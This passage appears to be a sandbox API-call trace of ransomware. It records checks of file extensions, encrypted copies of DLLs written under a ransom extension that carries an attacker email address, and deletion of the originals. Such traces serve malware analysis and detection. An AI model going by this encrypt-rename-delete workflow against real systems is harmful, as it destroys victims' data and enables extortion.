(lpString=".pdf") returned 4 [0106.218] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".xls") returned 4 [0106.218] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".xlsx") returned 5 [0106.218] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.218] lstrlenW (lpString=".ppt") returned 4 [0106.218] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.218] lstrlenW (lpString=".zip") returned 4 [0106.218] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".rar") returned 4 [0106.218] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".bz2") returned 4 [0106.218] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".7z") returned 3 [0106.218] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.218] lstrlenW (lpString=".dbf") returned 4 [0106.218] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.219] lstrlenW (lpString=".1cd") returned 4 [0106.219] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.219] lstrlenW (lpString=".jpg") returned 4 [0106.219] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.219] lstrlenW (lpString=".doc") returned 4 [0106.219] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString=".docx") returned 5 [0106.219] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.219] lstrlenW (lpString=".pdf") returned 4 [0106.219] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString=".xls") returned 4 [0106.219] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString=".xlsx") returned 5 [0106.219] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.219] lstrlenW (lpString=".ppt") returned 4 [0106.219] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.219] lstrlenW (lpString=".zip") returned 4 [0106.219] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString=".rar") returned 4 [0106.219] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.219] lstrlenW (lpString=".bz2") returned 4 [0106.219] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.220] lstrlenW (lpString=".7z") returned 3 [0106.220] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.220] lstrlenW (lpString=".dbf") returned 4 [0106.220] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.220] lstrlenW (lpString=".1cd") returned 4 [0106.220] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.220] lstrlenW (lpString=".jpg") returned 4 [0106.220] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.220] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.220] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0106.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.258] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18624) returned 1 [0106.258] CloseHandle (hObject=0x34c) returned 1 [0106.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0106.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.258] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.258] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.788] GetLastError () returned 0x0 [0106.788] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0106.791] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0106.793] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.793] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x112, lpOverlapped=0x0) returned 1 [0106.793] SetEndOfFile (hFile=0x338) returned 1 [0106.793] CloseHandle (hObject=0x338) returned 1 [0106.796] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.796] SetEndOfFile (hFile=0x34c) returned 1 [0106.797] CloseHandle (hObject=0x34c) returned 1 [0106.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.798] lstrlenW (lpString=".doc") returned 4 [0106.798] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.798] lstrlenW (lpString=".docx") returned 5 [0106.798] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.798] lstrlenW (lpString=".pdf") returned 4 [0106.798] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.798] lstrlenW (lpString=".xls") returned 4 [0106.798] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.798] lstrlenW (lpString=".xlsx") returned 5 [0106.798] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.798] lstrlenW (lpString=".ppt") returned 4 [0106.798] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString=".zip") returned 4 [0106.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.799] lstrlenW (lpString=".rar") returned 4 [0106.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.799] lstrlenW (lpString=".bz2") returned 4 [0106.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.799] lstrlenW (lpString=".7z") returned 3 [0106.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString=".dbf") returned 4 [0106.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString=".1cd") returned 4 [0106.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString=".jpg") returned 4 [0106.799] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.799] lstrlenW (lpString=".doc") returned 4 [0106.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString=".docx") returned 5 [0106.800] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.800] lstrlenW (lpString=".pdf") returned 4 [0106.800] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString=".xls") returned 4 [0106.800] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString=".xlsx") returned 5 [0106.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.800] lstrlenW (lpString=".ppt") returned 4 [0106.800] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.800] lstrlenW (lpString=".zip") returned 4 [0106.800] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString=".rar") returned 4 [0106.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.800] lstrlenW (lpString=".bz2") returned 4 [0106.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.800] lstrlenW (lpString=".7z") returned 3 [0106.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.800] lstrlenW (lpString=".dbf") returned 4 [0106.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.800] lstrlenW (lpString=".1cd") returned 4 [0106.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0106.801] lstrlenW (lpString=".jpg") returned 4 [0106.801] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.801] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.801] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0106.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.801] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=11616) returned 1 [0106.801] CloseHandle (hObject=0x34c) returned 1 [0106.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0106.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.802] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.802] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.803] GetLastError () returned 0x0 [0106.803] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0106.805] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0106.807] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.807] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x116, lpOverlapped=0x0) returned 1 [0106.807] SetEndOfFile (hFile=0x338) returned 1 [0106.807] CloseHandle (hObject=0x338) returned 1 [0106.808] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.808] SetEndOfFile (hFile=0x34c) returned 1 [0106.809] CloseHandle (hObject=0x34c) returned 1 [0106.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.811] lstrlenW (lpString=".doc") returned 4 [0106.811] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.811] lstrlenW (lpString=".docx") returned 5 [0106.811] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.811] lstrlenW (lpString=".pdf") returned 4 [0106.811] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.812] lstrlenW (lpString=".xls") returned 4 [0106.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.812] lstrlenW (lpString=".xlsx") returned 5 [0106.812] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.812] lstrlenW (lpString=".ppt") returned 4 [0106.812] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.812] lstrlenW (lpString=".zip") returned 4 [0106.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.812] lstrlenW (lpString=".rar") returned 4 [0106.812] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.812] lstrlenW (lpString=".bz2") returned 4 [0106.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.812] lstrlenW (lpString=".7z") returned 3 [0106.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.812] lstrlenW (lpString=".dbf") returned 4 [0106.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.812] lstrlenW (lpString=".1cd") returned 4 [0106.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.812] lstrlenW (lpString=".jpg") returned 4 [0106.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.813] lstrlenW (lpString=".doc") returned 4 [0106.813] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString=".docx") returned 5 [0106.813] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.813] lstrlenW (lpString=".pdf") returned 4 [0106.813] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString=".xls") returned 4 [0106.813] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString=".xlsx") returned 5 [0106.813] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.813] lstrlenW (lpString=".ppt") returned 4 [0106.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.813] lstrlenW (lpString=".zip") returned 4 [0106.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString=".rar") returned 4 [0106.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.813] lstrlenW (lpString=".bz2") returned 4 [0106.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.813] lstrlenW (lpString=".7z") returned 3 [0106.813] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.814] lstrlenW (lpString=".dbf") returned 4 [0106.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.814] lstrlenW (lpString=".1cd") returned 4 [0106.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0106.814] lstrlenW (lpString=".jpg") returned 4 [0106.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.814] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.814] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0106.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.815] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=19648) returned 1 [0106.815] CloseHandle (hObject=0x34c) returned 1 [0106.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0106.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.815] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.815] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.816] GetLastError () returned 0x0 [0106.816] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0106.818] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0106.819] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.819] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x112, lpOverlapped=0x0) returned 1 [0106.820] SetEndOfFile (hFile=0x338) returned 1 [0106.820] CloseHandle (hObject=0x338) returned 1 [0106.821] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.821] SetEndOfFile (hFile=0x34c) returned 1 [0106.823] CloseHandle (hObject=0x34c) returned 1 [0106.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.823] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0106.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.824] lstrlenW (lpString=".doc") returned 4 